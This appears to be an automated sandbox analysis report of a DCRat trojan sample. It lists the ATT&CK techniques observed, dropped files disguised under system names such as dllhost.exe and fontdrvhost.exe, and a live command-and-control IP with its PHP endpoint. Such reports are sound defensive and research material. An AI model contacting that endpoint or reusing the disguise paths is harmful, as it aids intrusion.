                              Non-Application Layer Protocol                              		Exfiltration Over BluetoothNetwork Denial of Service
                              Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)251
                              Virtualization/Sandbox Evasion                              		Security Account Manager251
                              Virtualization/Sandbox Evasion                              		SMB/Windows Admin Shares1
                              Clipboard Data                              		11
                              Application Layer Protocol                              		Automated ExfiltrationData Encrypted for Impact
                              Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook112
                              Process Injection                              		NTDS1
                              Application Window Discovery                              		Distributed Component Object ModelInput CaptureProtocol ImpersonationTraffic DuplicationData Destruction
                              Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
                              Deobfuscate/Decode Files or Information                              		LSA Secrets1
                              Remote System Discovery                              		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
                              Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts2
                              Obfuscated Files or Information                              		Cached Domain Credentials1
                              System Network Configuration Discovery                              		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                              DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
                              Software Packing                              		DCSync2
                              File and Directory Discovery                              		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                              Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
                              DLL Side-Loading                              		Proc Filesystem134
                              System Information Discovery                              		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement

                              Behavior Graph

                              Hide Legend

                              Legend:

                              • Process
                              • Signature
                              • Created File
                              • DNS/IP Info
                              • Is Dropped
                              • Is Windows Process
                              • Number of created Registry Values
                              • Number of created Files
                              • Visual Basic
                              • Delphi
                              • Java
                              • .Net C# or VB.NET
                              • C, C++ or other language
                              • Is malicious
                              • Internet
                              behaviorgraph top1 signatures2 2 Behavior Graph ID: 1571109 Sample: eu6OEBpBCI.exe Startdate: 09/12/2024 Architecture: WINDOWS Score: 100 42 Suricata IDS alerts for network traffic 2->42 44 Found malware configuration 2->44 46 Antivirus detection for dropped file 2->46 48 14 other signatures 2->48 7 eu6OEBpBCI.exe 4 42 2->7         started        process3 file4 24 C:\...\aVIegkftDeblliEdgtUahRSaMtI.exe, PE32 7->24 dropped 26 C:\Users\user\Desktop\ypXSetlg.log, PE32 7->26 dropped 28 C:\Users\user\Desktop\ygASuHSj.log, PE32 7->28 dropped 30 28 other malicious files 7->30 dropped 10 cmd.exe 1 7->10         started        process5 signatures6 50 Uses ping.exe to sleep 10->50 52 Uses ping.exe to check the status of other devices and networks 10->52 13 dllhost.exe 14 308 10->13         started        18 conhost.exe 10->18         started        20 PING.EXE 1 10->20         started        22 chcp.com 1 10->22         started        process7 dnsIp8 40 91.227.41.9, 49730, 49732, 49736 ECO-ATMAN-PLECO-ATMAN-PL Poland 13->40 32 C:\Users\user\Desktop\uOjtiFsK.log, PE32 13->32 dropped 34 C:\Users\user\Desktop\tRHlMFdP.log, PE32 13->34 dropped 36 C:\Users\user\Desktop\sVUKwIHM.log, PE32 13->36 dropped 38 18 other malicious files 13->38 dropped 54 Antivirus detection for dropped file 13->54 56 System process connects to network (likely due to code injection or exploit) 13->56 58 Multi AV Scanner detection for dropped file 13->58 60 4 other signatures 13->60 file9 signatures10

                              Screenshots

                              Thumbnails

                              This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                              windows-stand

                              Antivirus, Machine Learning and Genetic Malware Detection

                              Initial Sample

                              SourceDetectionScannerLabelLink
                              eu6OEBpBCI.exe74%ReversingLabsByteCode-MSIL.Trojan.DCRat
                              eu6OEBpBCI.exe100%AviraHEUR/AGEN.1323342
                              eu6OEBpBCI.exe100%Joe Sandbox ML

                              Dropped Files

                              SourceDetectionScannerLabelLink
                              C:\Users\user\Desktop\RGKyyyvv.log100%AviraHEUR/AGEN.1300079
                              C:\Users\user\Desktop\FnLRHIfV.log100%AviraHEUR/AGEN.1362695
                              C:\Users\Public\Libraries\dllhost.exe100%AviraHEUR/AGEN.1323342
                              C:\Program Files (x86)\MSECache\OfficeKMS\win8\aVIegkftDeblliEdgtUahRSaMtI.exe100%AviraHEUR/AGEN.1323342
                              C:\Recovery\fontdrvhost.exe100%AviraHEUR/AGEN.1323342
                              C:\Users\user\AppData\Local\Temp\VE9VyBa20L.bat100%AviraBAT/Delbat.C
                              C:\Users\user\Desktop\GzproQCn.log100%AviraTR/Agent.jbwuj
                              C:\Users\user\Desktop\FCNjSRns.log100%AviraHEUR/AGEN.1300079
                              C:\Program Files (x86)\MSECache\OfficeKMS\win8\aVIegkftDeblliEdgtUahRSaMtI.exe100%AviraHEUR/AGEN.1323342
                              C:\Users\user\Desktop\RGKyyyvv.log100%Joe Sandbox ML
                              C:\Users\user\Desktop\FnLRHIfV.log100%Joe Sandbox ML
                              C:\Users\Public\Libraries\dllhost.exe100%Joe Sandbox ML
                              C:\Program Files (x86)\MSECache\OfficeKMS\win8\aVIegkftDeblliEdgtUahRSaMtI.exe100%Joe Sandbox ML
                              C:\Recovery\fontdrvhost.exe100%Joe Sandbox ML
                              C:\Users\user\Desktop\IYriOWqO.log100%Joe Sandbox ML
                              C:\Users\user\Desktop\WJeOmDSH.log100%Joe Sandbox ML
                              C:\Users\user\Desktop\AHMSLlxy.log100%Joe Sandbox ML
                              C:\Users\user\Desktop\TYzyfqIO.log100%Joe Sandbox ML
                              C:\Users\user\Desktop\PTahnXzX.log100%Joe Sandbox ML
                              C:\Users\user\Desktop\FCNjSRns.log100%Joe Sandbox ML
                              C:\Users\user\Desktop\PVfhrllC.log100%Joe Sandbox ML
                              C:\Program Files (x86)\MSECache\OfficeKMS\win8\aVIegkftDeblliEdgtUahRSaMtI.exe100%Joe Sandbox ML
                              C:\Program Files (x86)\MSECache\OfficeKMS\win8\aVIegkftDeblliEdgtUahRSaMtI.exe74%ReversingLabsByteCode-MSIL.Trojan.DCRat
                              C:\Program Files\7-Zip\Lang\aVIegkftDeblliEdgtUahRSaMtI.exe74%ReversingLabsByteCode-MSIL.Trojan.DCRat
                              C:\Recovery\fontdrvhost.exe74%ReversingLabsByteCode-MSIL.Trojan.DCRat
                              C:\Users\Public\Libraries\dllhost.exe74%ReversingLabsByteCode-MSIL.Trojan.DCRat
                              C:\Users\user\Desktop\AHMSLlxy.log5%ReversingLabs
                              C:\Users\user\Desktop\DOJbgDru.log29%ReversingLabs
                              C:\Users\user\Desktop\FCNjSRns.log25%ReversingLabs
                              C:\Users\user\Desktop\FdoRXWMY.log12%ReversingLabs
                              C:\Users\user\Desktop\FnLRHIfV.log17%ReversingLabs
                              C:\Users\user\Desktop\GzproQCn.log50%ReversingLabsByteCode-MSIL.Trojan.Generic
                              C:\Users\user\Desktop\HpyAdrkQ.log17%ReversingLabsByteCode-MSIL.Trojan.Whispergate
                              C:\Users\user\Desktop\IYriOWqO.log21%ReversingLabsByteCode-MSIL.Trojan.Generic
                              C:\Users\user\Desktop\KpfivNCg.log25%ReversingLabs
                              C:\Users\user\Desktop\MRnySouc.log21%ReversingLabs
                              C:\Users\user\Desktop\PTahnXzX.log16%ReversingLabs
                              C:\Users\user\Desktop\PVfhrllC.log21%ReversingLabs
                              C:\Users\user\Desktop\QALqtMNE.log21%ReversingLabs
                              C:\Users\user\Desktop\QiIHXtHV.log8%ReversingLabs
                              C:\Users\user\Desktop\RGKyyyvv.log17%ReversingLabs
                              C:\Users\user\Desktop\TYzyfqIO.log21%ReversingLabsByteCode-MSIL.Trojan.Generic
                              C:\Users\user\Desktop\UJxgUhAr.log8%ReversingLabs
                              C:\Users\user\Desktop\VVaGAqXJ.log38%ReversingLabsByteCode-MSIL.Trojan.Generic
                              C:\Users\user\Desktop\WJeOmDSH.log8%ReversingLabs
                              C:\Users\user\Desktop\XxiWXROF.log25%ReversingLabs
                              C:\Users\user\Desktop\YwOfwePf.log29%ReversingLabs
                              C:\Users\user\Desktop\ZRcXHVNC.log17%ReversingLabs
                              C:\Users\user\Desktop\bYXvUFHb.log50%ReversingLabsByteCode-MSIL.Trojan.DCRat
                              C:\Users\user\Desktop\eEtWkScq.log17%ReversingLabsByteCode-MSIL.Trojan.Generic
                              C:\Users\user\Desktop\gsyeVgYo.log50%ReversingLabsByteCode-MSIL.Trojan.DCRat
                              C:\Users\user\Desktop\hZjnbUmV.log16%ReversingLabs
                              C:\Users\user\Desktop\haXUgXfM.log38%ReversingLabsByteCode-MSIL.Trojan.Generic
                              C:\Users\user\Desktop\hiGnLHFR.log5%ReversingLabs
                              C:\Users\user\Desktop\iObdSlbK.log4%ReversingLabs
                              C:\Users\user\Desktop\jzvnrySk.log21%ReversingLabs
                              C:\Users\user\Desktop\kfPdycnc.log17%ReversingLabs
                              C:\Users\user\Desktop\lQNLnUfF.log50%ReversingLabsByteCode-MSIL.Trojan.Generic
                              C:\Users\user\Desktop\onNmUvhY.log8%ReversingLabs
                              C:\Users\user\Desktop\sOBLQjau.log17%ReversingLabsByteCode-MSIL.Trojan.Generic
                              C:\Users\user\Desktop\sVUKwIHM.log17%ReversingLabsByteCode-MSIL.Trojan.Whispergate
                              C:\Users\user\Desktop\tCFTCxVs.log25%ReversingLabs
                              C:\Users\user\Desktop\tRHlMFdP.log12%ReversingLabs
                              C:\Users\user\Desktop\uOjtiFsK.log4%ReversingLabs
                              C:\Users\user\Desktop\vEsBXgan.log8%ReversingLabs
                              C:\Users\user\Desktop\wnljJKgl.log8%ReversingLabs
                              C:\Users\user\Desktop\ygASuHSj.log25%ReversingLabs
                              C:\Users\user\Desktop\ypXSetlg.log25%ReversingLabs
                              C:\Windows\Logs\WindowsUpdate\aVIegkftDeblliEdgtUahRSaMtI.exe74%ReversingLabsByteCode-MSIL.Trojan.DCRat

                              Unpacked PE Files

                              ⊘No Antivirus matches

                              Domains

                              ⊘No Antivirus matches

                              URLs

                              SourceDetectionScannerLabelLink
                              http://91.227.41.90%Avira URL Cloudsafe
                              http://91.227.41.9/0%Avira URL Cloudsafe
                              http://91.227.41.9/imagePipepolldletemp.php0%Avira URL Cloudsafe

                              Domains and IPs

                              Contacted Domains

                              ⊘No contacted domains info

                              Contacted URLs

                              NameMaliciousAntivirus DetectionReputation
                              http://91.227.41.9/imagePipepolldletemp.phptrue
                              • Avira URL Cloud: safe
                              		unknown

                              URLs from Memory and Binaries

                              NameSourceMaliciousAntivirus DetectionReputation
                              https://duckduckgo.com/chrome_newtabdllhost.exe, 00000005.00000002.4116814667.0000000013097000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000134B6000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001427F000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012E58000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000140F4000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001314C000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001443A000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013F85000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012F0C000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001403F000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013182000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001413E000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001356A000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000141CB000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000142F6000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013ED1000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012F62000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013C08000.00000004.00000800.00020000.00000000.sdmp, 7xw9K0Vs4e.5.dr, XJq0wWYSge.5.dr, FZwLUNHu3n.5.drfalse
                                		high
                                https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDFRyroOfX8Xr.5.drfalse
                                  		high
                                  http://www.apache.org/licenses/LICENSE-2.0dllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpfalse
                                    		high
                                    http://www.fontbureau.comdllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpfalse
                                      		high
                                      http://www.fontbureau.com/designersGdllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpfalse
                                        		high
                                        https://duckduckgo.com/ac/?q=dllhost.exe, 00000005.00000002.4116814667.0000000013097000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000134B6000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001427F000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012E58000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000140F4000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001314C000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001443A000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013F85000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012F0C000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001403F000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013182000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001413E000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001356A000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000141CB000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000142F6000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013ED1000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012F62000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013C08000.00000004.00000800.00020000.00000000.sdmp, 7xw9K0Vs4e.5.dr, XJq0wWYSge.5.dr, FZwLUNHu3n.5.drfalse
                                          		high
                                          http://www.fontbureau.com/designers/?dllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpfalse
                                            		high
                                            http://www.founder.com.cn/cn/bThedllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpfalse
                                              		high
                                              https://www.google.com/images/branding/product/ico/googleg_lodp.icodllhost.exe, 00000005.00000002.4116814667.0000000013097000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000134B6000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001427F000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012E58000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000140F4000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001314C000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001443A000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013F85000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012F0C000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001403F000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013182000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001413E000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001356A000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000141CB000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000142F6000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013ED1000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012F62000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013C08000.00000004.00000800.00020000.00000000.sdmp, 7xw9K0Vs4e.5.dr, XJq0wWYSge.5.dr, FZwLUNHu3n.5.drfalse
                                                		high
                                                http://www.fontbureau.com/designers?dllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpfalse
                                                  		high
                                                  http://91.227.41.9/dllhost.exe, 00000005.00000002.4103094451.0000000002EEB000.00000004.00000800.00020000.00000000.sdmptrue
                                                  • Avira URL Cloud: safe
                                                  		unknown
                                                  http://91.227.41.9dllhost.exe, 00000005.00000002.4103094451.000000000342D000.00000004.00000800.00020000.00000000.sdmptrue
                                                  • Avira URL Cloud: safe
                                                  		unknown
                                                  https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=dllhost.exe, 00000005.00000002.4116814667.0000000013097000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000134B6000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001427F000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012E58000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000140F4000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001314C000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001443A000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013F85000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012F0C000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001403F000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013182000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001413E000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001356A000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000141CB000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000142F6000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013ED1000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012F62000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013C08000.00000004.00000800.00020000.00000000.sdmp, 7xw9K0Vs4e.5.dr, XJq0wWYSge.5.dr, FZwLUNHu3n.5.drfalse
                                                    		high
                                                    http://www.tiro.comdllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpfalse
                                                      		high
                                                      https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=dllhost.exe, 00000005.00000002.4116814667.0000000013097000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000134B6000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001427F000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012E58000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000140F4000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001314C000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001443A000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013F85000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012F0C000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001403F000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013182000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001413E000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001356A000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000141CB000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000142F6000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013ED1000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012F62000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013C08000.00000004.00000800.00020000.00000000.sdmp, 7xw9K0Vs4e.5.dr, XJq0wWYSge.5.dr, FZwLUNHu3n.5.drfalse
                                                        		high
                                                        http://www.fontbureau.com/designersdllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpfalse
                                                          		high
                                                          https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016dllhost.exe, 00000005.00000002.4116814667.0000000014695000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000137A9000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001394E000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000139DA000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000137EF000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001387C000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013A20000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000014839000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001457D000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013994000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001450A000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001464F000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000147F3000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000138C2000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001447E000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000144C4000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000145C3000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013836000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000014609000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000014721000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000147AD000.00000004.00000800.00020000.00000000.sdmpfalse
                                                            		high
                                                            https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17dllhost.exe, 00000005.00000002.4116814667.0000000014695000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000137A9000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001394E000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000139DA000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000137EF000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001387C000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013A20000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000014839000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001457D000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013994000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001450A000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001464F000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000147F3000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000138C2000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001447E000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000144C4000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000145C3000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013836000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000014609000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000014721000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000147AD000.00000004.00000800.00020000.00000000.sdmpfalse
                                                              		high
                                                              http://www.goodfont.co.krdllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                		high
                                                                https://www.ecosia.org/newtab/dllhost.exe, 00000005.00000002.4116814667.0000000013097000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000134B6000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001427F000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012E58000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000140F4000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001314C000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001443A000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013F85000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012F0C000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001403F000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013182000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001413E000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001356A000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000141CB000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000142F6000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013ED1000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012F62000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013C08000.00000004.00000800.00020000.00000000.sdmp, 7xw9K0Vs4e.5.dr, XJq0wWYSge.5.dr, FZwLUNHu3n.5.drfalse
                                                                  		high
                                                                  https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-brRyroOfX8Xr.5.drfalse
                                                                    		high
                                                                    http://www.carterandcone.comldllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                      		high
                                                                      http://www.sajatypeworks.comdllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                        		high
                                                                        http://www.typography.netDdllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                          		high
